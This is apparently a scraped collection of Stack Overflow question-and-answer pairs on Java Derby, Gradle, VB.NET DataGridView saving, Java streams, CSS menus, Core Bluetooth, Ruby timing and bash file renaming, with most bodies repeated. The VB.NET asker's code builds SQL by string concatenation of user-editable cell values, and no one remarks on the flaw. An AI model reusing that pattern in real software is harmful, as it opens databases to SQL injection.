                "'Programming II', " +
                "2.95 )");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "1.72 )");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.87 )");

        System.out.println("Jeff table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
}
</code>```

This is my first post I hope that I formatted it correctly. I am trying to make three tables of three different students using the Java DB but I keep on getting the errors:

```<code>ERROR: Syntax error: Encountered "MichaelStudentGrades" at line 1, column 117.
ERROR: Syntax error: Encountered "EvanStudentGrades" at line 1, column 105.
ERROR: Syntax error: Encountered "JeffStudentGrades" at line 1, column 105.
</code>```

I cannot find a syntax error, please help any guidance is greatly appreciated.

答:
A comma is missing in the SQL code after MichaelClasses CHAR(25):</p>

```<code>stmt.execute("CREATE TABLE Michael (" +
                "MichaelName CHAR(25), " +
                "MichaelStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "MichaelClasses CHAR(25) " +
                "MichaelStudentGrades CHAR(5) " +
                ")");
</code>```

Body:
import java.sql.*;   // Needed for JDBC classes
public class StudentDB
{
    public static void main(String[] args)
    {
    final String DB_URL = "jdbc:derby:StudentDB;create=true";

    try{
        Connection conn = DriverManager.getConnection(DB_URL);

        dropTables(conn);

        buildMichaelTable(conn);

        buildEvanTable(conn);

        buildJeffTable(conn);

        conn.close();
    }
    catch (Exception ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }
}

public static void dropTables(Connection conn)
{
    System.out.println("Checking for existing tables.");

    try
    {
        Statement stmt = conn.createStatement();

        try
        {
            stmt.execute("DROP TABLE Michael");
            System.out.println("Michael table dropped.");
        }
        catch(SQLException ex)
        {
        }

        try
        {
            stmt.execute("DROP TABLE Evan");
            System.out.println("Evan table dropped.");
        }
        catch(SQLException ex)
        {

        }
        try
        {
            stmt.execute("DROP TABLE Jeff");
            System.out.println("Jeff table dropped.");
        }
        catch(SQLException ex)
        {

        }

    }
    catch(SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
        ex.printStackTrace();
    }
}
public static void buildMichaelTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Michael (" +
                "MichaelName CHAR(25), " +
                "MichaelStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "MichaelClasses CHAR(25) " +
                "MichaelStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "'Michael Goldman', " +
                "'1216145', " +
                "'Programming II', " +
                "4.00 )");

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "3.45 )" );

        stmt.execute("INSERT INTO Michael VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.90 )");

        System.out.println("Michael table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
public static void buildEvanTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Evan (" +
                "EvanName CHAR(25), " +
                "EvanStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "EvanClasses CHAR(25) " +
                "EvanStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "'Evan Bloom', " +
                "'1412179', " +
                "'Programming II', " +
                "3.45 )");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "4.00 )");

        stmt.execute("INSERT INTO Evan VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.90 )");

        System.out.println("Evan table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
public static void buildJeffTable(Connection conn)
{
    try
    {
        Statement stmt = conn.createStatement();

        stmt.execute("CREATE TABLE Jeff (" +
                "JeffName CHAR(25), " +
                "JeffStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "JeffClasses CHAR(25) " +
                "JeffStudentGrades CHAR(5) " +
                ")");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "'Jeff Royer', " +
                "'1592179', " +
                "'Programming II', " +
                "2.95 )");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "' '," +
                "' '," +
                "'Cyber Law', " +
                "1.72 )");

        stmt.execute("INSERT INTO Jeff VALUES ( " +
                "' '," +
                "' '," +
                "'Operating Systems', " +
                "2.87 )");

        System.out.println("Jeff table created.");
    }
    catch (SQLException ex)
    {
        System.out.println("ERROR: " + ex.getMessage());
    }

    }
}

This is my first post I hope that I formatted it correctly. I am trying to make three tables of three different students using the Java DB but I keep on getting the errors:

ERROR: Syntax error: Encountered "MichaelStudentGrades" at line 1, column 117.
ERROR: Syntax error: Encountered "EvanStudentGrades" at line 1, column 105.
ERROR: Syntax error: Encountered "JeffStudentGrades" at line 1, column 105.

I cannot find a syntax error, please help any guidance is greatly appreciated.

Body:
A comma is missing in the SQL code after MichaelClasses CHAR(25):

stmt.execute("CREATE TABLE Michael (" +
                "MichaelName CHAR(25), " +
                "MichaelStudentID CHAR(10) NOT NULL PRIMARY KEY, " +
                "MichaelClasses CHAR(25) " +
                "MichaelStudentGrades CHAR(5) " +
                ")");


问:
How add gradle to subproject root project as dependency?
I have the following project structure settings.gradle:

```<code>include 'B'
include 'C'

rootProject.name = 'A'
</code>```

How add gradle to subproject root project as dependency?

答:
As far as the project method is concerned, the root project has no name. So this is the syntax in project B's build.gradle:

```<code>dependencies {
  compile project(':')
}
</code>```

However, it is rarely a good idea to do this. It is too easy to end up with circular dependencies. Most multi-module projects have a separate "main" projects (called something like "main", "core" or "base"), and other modules can easily depend on that using compile project(':core') or whatever.

Body:
I have the following project structure settings.gradle:

include 'B'
include 'C'

rootProject.name = 'A'

How add gradle to subproject root project as dependency?

Body:
As far as the project method is concerned, the root project has no name. So this is the syntax in project B's build.gradle:

dependencies {
  compile project(':')
}

However, it is rarely a good idea to do this. It is too easy to end up with circular dependencies. Most multi-module projects have a separate "main" projects (called something like "main", "core" or "base"), and other modules can easily depend on that using compile project(':core') or whatever.


问:
Adding, Editing and Deleting data from Datagridview
I'm trying to insert data from a datagridview control into my SQL database. The code is as follows:

Private Sub MCmdSoftwareSave_Click(sender As Object, e As EventArgs) Handles MCmdSoftwareSave.Click
    Dim ID As Integer
    Dim Name, Edition, Version, SubVersion As String
    Try
        SQLcmd.Connection = SQLconn
        SQLconn.Open()
        For row As Integer = 0 To Me.DgdSoftware.Rows.Count - 1
            ID = Me.DgdSoftware.Rows(row).Cells(0).Value
            Name = Me.DgdSoftware.Rows(row).Cells(1).Value
            Edition = Me.DgdSoftware.Rows(row).Cells(2).Value
            Version = Me.DgdSoftware.Rows(row).Cells(3).Value
            SubVersion = Me.DgdSoftware.Rows(row).Cells(4).Value
            SQLcmd.CommandText = "INSERT INTO Software(ID,Name,Edition,Version,SubVersion) VALUES('" & ID & "','" & Name & "','" & Edition & "','" & Version & "','" & SubVersion & "')"
            SQLcmd.ExecuteNonQuery()
        Next
        MsgBox("The infomration was successfully added to the Software database.", MsgBoxStyle.Information, "Successful Operation")
    Catch ex As Exception
        MessageBox.Show(ex.Message)
        SQLconn.Close()
    End Try
End Sub
```

This works when the table is empty, but it also adds another record where the "ID" (Primary key) is 0 and the rest of the fields in that record are null, before adding the desired data.

If I then try to add more data, I get a message saying I cannot add data to the database where the ID of the current record being saved matches that of an ID in the database (i.e. it's trying to re-save the existing data into the table).

What I want to be able to do is load up a form where all the data in the table is loaded into the datagridview control. I then want to be able to add to that table using the same datagridview control by putting in new records, without the code trying to save the existing data. I also want to be able to edit and delete the data in the datagridview control.

Is there any way to do this effectively?

Many thanks,

James

答:
Complementing the answer of @obl, read the datagridview events documentation.

You can use the CellEndEdit event to mark a row and know if it needs to be deleted or updated when you click your save button.

Body:
I'm trying to insert data from a datagridview control into my SQL database. The code is as follows:

Private Sub MCmdSoftwareSave_Click(sender As Object, e As EventArgs) Handles MCmdSoftwareSave.Click
    Dim ID As Integer
    Dim Name, Edition, Version, SubVersion As String
    Try
        SQLcmd.Connection = SQLconn
        SQLconn.Open()
        For row As Integer = 0 To Me.DgdSoftware.Rows.Count - 1
            ID = Me.DgdSoftware.Rows(row).Cells(0).Value
            Name = Me.DgdSoftware.Rows(row).Cells(1).Value
            Edition = Me.DgdSoftware.Rows(row).Cells(2).Value
            Version = Me.DgdSoftware.Rows(row).Cells(3).Value
            SubVersion = Me.DgdSoftware.Rows(row).Cells(4).Value
            SQLcmd.CommandText = "INSERT INTO Software(ID,Name,Edition,Version,SubVersion) VALUES('" & ID & "','" & Name & "','" & Edition & "','" & Version & "','" & SubVersion & "')"
            SQLcmd.ExecuteNonQuery()
        Next
        MsgBox("The infomration was successfully added to the Software database.", MsgBoxStyle.Information, "Successful Operation")
    Catch ex As Exception
        MessageBox.Show(ex.Message)
        SQLconn.Close()
    End Try
End Sub

This works when the table is empty, but it also adds another record where the "ID" (Primary key) is 0 and the rest of the fields in that record are null, before adding the desired data.

If I then try to add more data, I get a message saying I cannot add data to the database where the ID of the current record being saved matches that of an ID in the database (i.e. it's trying to re-save the existing data into the table).

What I want to be able to do is load up a form where all the data in the table is loaded into the datagridview control. I then want to be able to add to that table using the same datagridview control by putting in new records, without the code trying to save the existing data. I also want to be able to edit and delete the data in the datagridview control.

Is there any way to do this effectively?

Many thanks,

James


问:
How to remove first appearance in stream when searching for duplicates?
I have a Stream of objects, which define the equals and hashcode based on an id that they have. So I know that using stream.distinct() I will get a stream that does not have any duplicate, but it will keep the first appearance, rather than the last one.

This is clearly stated in the docs:

For ordered streams, the selection of distinct elements is stable
       * (for duplicated elements, the element appearing first in the encounter
       * order is preserved.)

So how can I have a stream that doesn't have duplicates, but keeping the last appearance instead?

For example if I have this list of items 1,2,3,1,4,5.

If I apply the distinct() I will get 1,2,3,4,5, and I am expecting: 2,3,1,4,5. How can I achieve this?

答:
Oleg's answer is absolutely correct, here I'm posting other ways of doing the same thing, based on his idea of using an access-ordered LinkedHashMap.

Without streams:

```<code>Map<Integer, Integer> map = new LinkedHashMap<>(16, 0.75f, true); // access order
Arrays.asList(1, 2, 3, 1, 4, 5)
    .forEach(e -> map.put(e, e)); // just put
List<Integer> list1 = new ArrayList<>(map.values()); // discard the map

System.out.println(list1); // [2, 3, 1, 4, 5]
</code>```

With streams, using a custom collector:

```<code>List<Integer> list2 = Stream.of(1, 2, 3, 1, 4, 5)
    .collect(Collector.of(
        () -> new LinkedHashMap<Integer, Integer>(16, 0.75f, true),
        (m, e) -> m.put(e, e),
        (m1, m2) -> { m1.putAll(m2); return m1; },
        m -> new ArrayList<>(m.values())));

System.out.println(list2); // [2, 3, 1, 4, 5]
</code>```

Note: as pointed out by Holger in the comments, it's important to use Map.values() instead of Map.keySet() to create the result list. This is because when m.put(e, e) is used, if an entry with the same key already existed in the map, the old value is replaced with the new value, but the key remains the same, i.e. the old one.

Body:
Oleg's answer is absolutely correct, here I'm posting other ways of doing the same thing, based on his idea of using an access-ordered LinkedHashMap.

Without streams:

Map<Integer, Integer> map = new LinkedHashMap<>(16, 0.75f, true); // access order
Arrays.asList(1, 2, 3, 1, 4, 5)
    .forEach(e -> map.put(e, e)); // just put
List<Integer> list1 = new ArrayList<>(map.values()); // discard the map

System.out.println(list1); // [2, 3, 1, 4, 5]

With streams, using a custom collector:

List<Integer> list2 = Stream.of(1, 2, 3, 1, 4, 5)
    .collect(Collector.of(
        () -> new LinkedHashMap<Integer, Integer>(16, 0.75f, true),
        (m, e) -> m.put(e, e),
        (m1, m2) -> { m1.putAll(m2); return m1; },
        m -> new ArrayList<>(m.values())));

System.out.println(list2); // [2, 3, 1, 4, 5]

Note: as pointed out by Holger in the comments, it's important to use Map.values() instead of Map.keySet() to create the result list. This is because when m.put(e, e) is used, if an entry with the same key already existed in the map, the old value is replaced with the new value, but the key remains the same, i.e. the old one.


问:
Drop down menu hover effect
I have a CSS drop down menu with a hover effect. The a element is not taking up the full width of the li and I want it to use the whole width of the li. Anyone know what I can do to take up the whole width on hover? Codepen link below:
https://codepen.io/darenjm/pen/VWdjWb?editors=1100

```<code><header>
<nav class="clearfix">
<ul>
    <li><a href="#">Home</a></li>
    <li><a href="#">Projects</a></li>
    <li><a href="#">Customers</a>
        <ul>
            <li><a href="#">Our Markets</a></li>
            <li><a href="#">Questionaire</a></li>
        </ul>
    </li>
    <li><a href="">Employment</a>
        <ul>
            <li><a href="#">Work With Us</a></li>
            <li><a href="#">Open Positions</a></li>
            <li><a href="#">Apply</a></li>
        </ul>
    </li>
    <li><a href="#">Advantage</a></li>
    <li><a href="#">About Us</a>
        <ul>
            <li><a href="#">Colombian Railways History</a></li>
            <li><a href="#">Company History</a></li>
            <li><a href="#">Partners</a></li>
            <li><a href="#">Strategic Partners</a></li>
            <li><a href="#">Videos</a></li>
            <li><a href="#">News</a></li>
            <li><a href="#">FAQ</a></li>
        </ul>
    </li>
    <li><a href="#">Contact</a></li>
</ul>
</nav>
</header>

<div class="box">

</div>

body{
margin:0;
padding:0;
}

header{
background:#001d45;
width:100%;
}

nav{
background:#001d45;
width:85%;
margin:0 auto;
font-family: helvetica;
font-size: 80%;
}
nav ul{
display: flex;
justify-content:space-between;
padding:0;
margin:0;
transition:all .3s ease-in-out;
}
nav ul li{
list-style:none;
flex:1 1 0%;

}
nav ul li > ul{
background:#af2922;
flex-direction: column;

}
nav ul li > ul > li:hover a{
background:#cc534d;
}
nav ul li a{
display:inline-block;
color:#fff;
text-decoration:none;
padding:10px 20px;
}
nav ul li:hover > a{
background:#af2922;
}
nav > ul ul{
position:absolute;
visibility:hidden;
opacity:0;
}
nav ul li:hover > ul{
visibility:visible;
opacity:1;
}

nav > ul > li{
float:left;
}
.clearfix:after{
display:block;
content:"";
clear:both;
}
.box{
background:#d1d3d3;
height:100px;
}
</code>```

答:
position:relative; on the parent li and width:100% on the dropdown ul.

https://codepen.io/anon/pen/pwKRox?editors=1100

Title: Drop down menu hover effect

Body:
I have a CSS drop down menu with a hover effect. The a element is not taking up the full width of the li and I want it to use the whole width of the li. Anyone know what I can do to take up the whole width on hover? Codepen link below:
https://codepen.io/darenjm/pen/VWdjWb?editors=1100

Home

Projects

Customers

Our Markets

Questionaire

Employment

Work With Us

Open Positions

Apply

Advantage

About Us

Colombian Railways History

Company History

Partners

Strategic Partners

Videos

News

FAQ

Contact

body{
margin:0;
padding:0;
}

header{
background:#001d45;
width:100%;
}

nav{
background:#001d45;
width:85%;
margin:0 auto;
font-family: helvetica;
font-size: 80%;
}
nav ul{
display: flex;
justify-content:space-between;
padding:0;
margin:0;
transition:all .3s ease-in-out;
}
nav ul li{
list-style:none;
flex:1 1 0%;

}
nav ul li > ul{
background:#af2922;
flex-direction: column;

}
nav ul li > ul > li:hover a{
background:#cc534d;
}
nav ul li a{
display:inline-block;
color:#fff;
text-decoration:none;
padding:10px 20px;
}
nav ul li:hover > a{
background:#af2922;
}
nav > ul ul{
position:absolute;
visibility:hidden;
opacity:0;
}
nav ul li:hover > ul{
visibility:visible;
opacity:1;
}

nav > ul > li{
float:left;
}
.clearfix:after{
display:block;
content:"";
clear:both;
}
.box{
background:#d1d3d3;
height:100px;
}


问:
Core Bluetooth setNotifyValue isn't setting CBCharacteristics notifying property to true
Hey guys I'm trying to get this bluetooth LE device to connect to the app and grab the values out. I'm using Core Bluetooth which is supposed to get the values out. I had it working but all the sudden it stopped notifying the values when it updates.

```<code>func peripheral(_ peripheral: CBPeripheral, didDiscoverCharacteristicsFor service: CBService, error: Error?) {
for characteristic in service.characteristics! {
  peripheral.setNotifyValue(true, for: characteristic)
  print("peripheral did discover characteristics \(characteristic)")
}
</code>```

}

In the delegate method call I'm setting every single CBCharacteristic object's notify value to true. This should mean that any value that it updates should call another delegate method

```<code>func peripheral(_ peripheral: CBPeripheral, didUpdateValueFor characteristic: CBCharacteristic, error: Error?)
</code>```

However this method is not being called. In I added a print statement to print out each characteristics, but each single characteristics notify property is still set to NO when I set the value as true!

```<code>peripheral did discover characteristics <CBCharacteristic: 0x1700ac0c0, UUID = 28930002-C868-423A-9DC2-E9C2FCB4EBB5, properties = 0x12, value = (null), notifying = NO>
</code>```

Am I missing something? Thanks in advance

答: You can implement func peripheral(_ peripheral: CBPeripheral, didUpdateNotificationStateFor characteristic: CBCharacteristic, error: Error?) to see if a call to setNotifyValue(_:for:) was actually successful

Body:
Hey guys I'm trying to get this bluetooth LE device to connect to the app and grab the values out. I'm using Core Bluetooth which is supposed to get the values out. I had it working but all the sudden it stopped notifying the values when it updates.

func peripheral(_ peripheral: CBPeripheral, didDiscoverCharacteristicsFor service: CBService, error: Error?) {
for characteristic in service.characteristics! {
  peripheral.setNotifyValue(true, for: characteristic)
  print("peripheral did discover characteristics \(characteristic)")
}

}

In the delegate method call I'm setting every single CBCharacteristic object's notify value to true. This should mean that any value that it updates should call another delegate method

func peripheral(_ peripheral: CBPeripheral, didUpdateValueFor characteristic: CBCharacteristic, error: Error?)

However this method is not being called. In I added a print statement to print out each characteristics, but each single characteristics notify property is still set to NO when I set the value as true!

peripheral did discover characteristics <CBCharacteristic: 0x1700ac0c0, UUID = 28930002-C868-423A-9DC2-E9C2FCB4EBB5, properties = 0x12, value = (null), notifying = NO>

Am I missing something? Thanks in advance


问:
Find the Run Time of Select Ruby Code

Problem

Howdy guys, so I want to find the run time of a block of code in Ruby, but I am not entirely sure as to how I could do it. I want to run some code, and then output how long it took to run that code because I have a super huge program and the run time changes a lot. I want to make sure it always has a consistent run time (I could do it by sleeping it for a fraction of a second) but that isn't my problem. I want to find out how long the run time actually is so the program can know if it needs to slow things down or speed things up.

My Thoughts

So, I have an idea as to how it could work. I have never used Time in ruby but I have an idea as to how I could use that. I could have a variable equal to the time (in milliseconds) and then another variable that I make at the end of the code block that does it again, and then I just subtract them, but I have (1) never used Time and (2) I don't actually know if that is the best way.

Thanks in advance!

答:
Ruby has the Benchmark module for timing how long things take. I've never used this outside of seeing if a method is taking too long to run, etc. in development, not sure if this is 'recommended' for production code or for keeping things above a minimum runtime (as it sounds like you might be doing), but take a look and see how it feels for your use case.

It also sounds like you might be interested in the Timeout module as well (for making sure things don't take longer than a set amount of time).

If you really have a use case for making sure something takes a minimum amount of time, timing the code (either using a Benchmark method or just Time or another solution) and then sleep the difference  is the only thing that comes to mind.

Title: Find the Run Time of Select Ruby Code


问:
How to remove special characters in file names?
When creating playlists I often came across files that would break the playing process. Such would be files with spaces or apostrophes. I would fix it with the following command

```<code>for file in *.; do mv "$file" `echo $file | tr " " '_'` ; done **(for spaces)**
</code>```

Now I more often come across files with commas, apostrophes, brackets and other characters. How would I modify the command to remove such characters?

Also tried rename 's/[^a-zA-Z0-9_-]//' *.mp4 but it doesnt seem to remove spaces or commas

答:
```<code>for file in *; do mv "$file" $(echo "$file" | sed -e 's/[^A-Za-z0-9._-]/_/g'); done &
</code>```

Body:
When creating playlists I often came across files that would break the playing process. Such would be files with spaces or apostrophes. I would fix it with the following command

for file in *.; do mv "$file" `echo $file | tr " " '_'` ; done **(for spaces)**

Now I more often come across files with commas, apostrophes, brackets and other characters. How would I modify the command to remove such characters?

Also tried rename 's/[^a-zA-Z0-9_-]//' *.mp4 but it doesnt seem to remove spaces or commas